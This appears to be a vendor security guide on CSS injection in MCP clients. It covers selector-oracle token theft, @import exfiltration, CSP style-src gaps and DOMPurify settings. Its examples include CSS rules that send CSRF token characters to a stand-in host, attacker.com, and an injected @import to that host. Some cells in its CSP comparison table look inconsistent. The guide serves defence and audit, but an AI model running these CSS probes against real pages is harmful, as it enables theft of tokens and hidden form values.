Security Guide

MCP server CSS injection security — CSS selector oracles, @import data exfiltration, CSS custom property scope pollution, style-src CSP, and DOMPurify style sanitization

When MCP tool output is rendered with innerHTML and includes <style> tags or style= attributes, an attacker can inject CSS that exfiltrates sensitive DOM values — without any JavaScript. The CSS selector oracle technique uses attribute value selectors (input[value^="a"]) combined with background-image URL requests to probe attribute values character-by-character via timing. @import chains load external stylesheets that can read the rendered page's URL and inject further probes. CSS custom properties (CSS variables) defined in injected rules persist at the document scope and can be read by subsequent injected rules. The style-src CSP directive restricts stylesheet sources but unsafe-inline in style-src allows any style attribute — removing protection entirely.

CSS injection attack surface in MCP tool output

CSS injection occurs when user-controlled content (MCP tool output, in this context) reaches the DOM as raw CSS. This happens through three paths:

  1. <style> tags in tool output HTML — if the MCP client sanitizes HTML but allows <style> elements, the entire contents of the tag are parsed as CSS by the browser.
  2. style= attributes on rendered elements — if DOMPurify is configured to allow style attributes (some configurations do, to preserve formatting), inline styles from tool output are parsed and applied.
  3. User-controlled CSS property values — if the MCP client constructs CSS rules programmatically using tool output data (e.g., for a visual theme or card display), injected CSS special characters can break out of the intended value into rule-level injection.

The CSS selector oracle attack

CSS attribute value selectors can match hidden DOM attributes (like CSRF tokens in form fields, session values in data attributes, or auth tokens in hidden inputs) and trigger a network request via background-image: url() only when the selector matches. By injecting many rules that probe all possible character values, an attacker reconstructs the full attribute value by observing which requests reach their server:

/* Injected CSS probes CSRF token in input[name="csrf_token"] */
input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/leak?c=a) }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/leak?c=b) }
/* ... all 62 alphanumeric characters ... */
input[name="csrf_token"][value^="z"] { background: url(https://attacker.com/leak?c=z) }

/* After finding first char is "f", probe second char: */
input[name="csrf_token"][value^="fa"] { background: url(https://attacker.com/leak?v=fa) }
/* etc. — character-by-character extraction */

Why this bypasses JavaScript defenses: If the MCP client uses DOMPurify to remove all <script> tags but allows <style> tags, the CSS oracle works without any JavaScript. The browser makes the network requests as a CSS rendering side-effect, not as JavaScript execution. Script execution policies (including Trusted Types and CSP script-src) do not apply to CSS-triggered network requests.

@import for chained stylesheet loading

The CSS @import rule loads a stylesheet from an external URL. If injected into a <style> tag, it causes the browser to fetch a stylesheet from an attacker-controlled server. That server can generate a dynamic stylesheet response containing further CSS oracle probes based on information from the HTTP request (referrer URL, cookies sent with the request under certain configurations, or query parameters from the URL):

/* Injected style tag */
<style>
  @import url('https://attacker.com/exfil.css?url=' + document.location);
</style>

/* Note: string interpolation doesn't work in CSS — but the browser does send Referer header
   and some servers can derive the page URL from the Referer on @import requests */

More concretely, an @import to an attacker's server causes that server to receive the HTTP request, including the Referer header (if the page doesn't set Referrer-Policy: no-referrer) which contains the full URL of the MCP client page — potentially including session identifiers, API route paths, or user-specific identifiers in the URL.

CSS custom property (variable) scope pollution

CSS custom properties (declared as --name: value) are inherited through the document tree — a property declared on :root is accessible to all elements. Injected CSS that sets :root { --session-key: value } makes that variable readable by any later CSS rule using var(--session-key), including rules from the MCP client's own stylesheets that were not designed to read attacker-controlled values. While reading a CSS variable in CSS does not itself cause data exfiltration, it can affect layout in ways that trigger URL-loading properties, creating an indirect exfiltration chain.

CSP style-src — controlling CSS injection

The style-src CSP directive controls which CSS sources are allowed. Its interaction with injection vectors:

CSP style-src valueProtects against <style> tag injection?Protects against style= attribute injection?Allows @import?
'none'Yes — all inline CSS blockedYes — all inline CSS blockedNo — no stylesheets allowed at all
'self'No — inline blocked, but external self-hosted allowedNo — inline still blockedOnly to same-origin URLs
'unsafe-inline'No protection — all inline CSS allowedNo protection — all style= attributes allowedTo any URL via injected @import
'nonce-xxxx'Protects — only nonce-matched style tags allowedNo — attributes are not nonce-checkedOnly from nonce-matched style tags
'unsafe-hashes'Hash-matched inline allowedHash-matched style= values allowedFrom matched blocks only

Key gap: nonces protect <style> tags but not style= attributes. A CSP of style-src 'nonce-xxxx' blocks injected <style> tags (they lack the nonce) but does not block style attribute injection if DOMPurify is configured to allow the style attribute. To block both, either add 'unsafe-hashes' with known-safe hash values for legitimate inline styles, or configure DOMPurify to strip style attributes entirely.

DOMPurify configuration for CSS injection prevention

DOMPurify's default configuration removes <style> and <link> elements, which eliminates the stylesheet-based attack surfaces. However, some deployments re-enable style attributes or <style> elements for formatting purposes. The recommended configuration for MCP tool output rendering:

const clean = DOMPurify.sanitize(toolOutput, {
  FORBID_TAGS: ['style', 'link'],    // Remove <style> and <link> elements entirely
  FORBID_ATTR: ['style'],            // Remove style= attributes from all elements
  // If you need some inline formatting, use ALLOW_ATTR instead of FORBID_ATTR
  // and be explicit about which tags may have style=
});

SkillAudit findings for CSS injection

CRITICALDOMPurify configuration explicitly re-enables <style> elements or style attributes in tool output rendering. CSS oracle attacks can extract CSRF tokens and hidden form values without JavaScript. Score −22.
HIGHCSP style-src includes 'unsafe-inline' — all injected <style> tags and style= attributes are executed by the browser. No runtime enforcement against CSS injection. Score −18.
HIGHCSP style-src uses nonce but DOMPurify allows style attribute — nonce protects inline <style> blocks but not style= attribute injection. CSS selector oracle via inline style on rendered elements is still possible. Score −15.
MEDIUMTool output HTML is rendered with innerHTML via DOMPurify that removes <style> but does not remove style attributes. CSS property value injection via style= attributes is possible; limited to single-element scope but can include background-image URL exfiltration. Score −12.
LOWCSP style-src restricts external stylesheets to 'self' but does not address inline CSS. @import to cross-origin URLs from injected code is blocked, but inline selector oracles remain possible if DOMPurify allows <style>. Score −6.

Run a SkillAudit scan to audit your MCP server's CSS injection exposure. The scanner checks DOMPurify configuration for style-related allowlists, audits CSP style-src for unsafe-inline and nonce coverage gaps, and probes whether injected background-image URL rules trigger outbound requests in a sandboxed render context.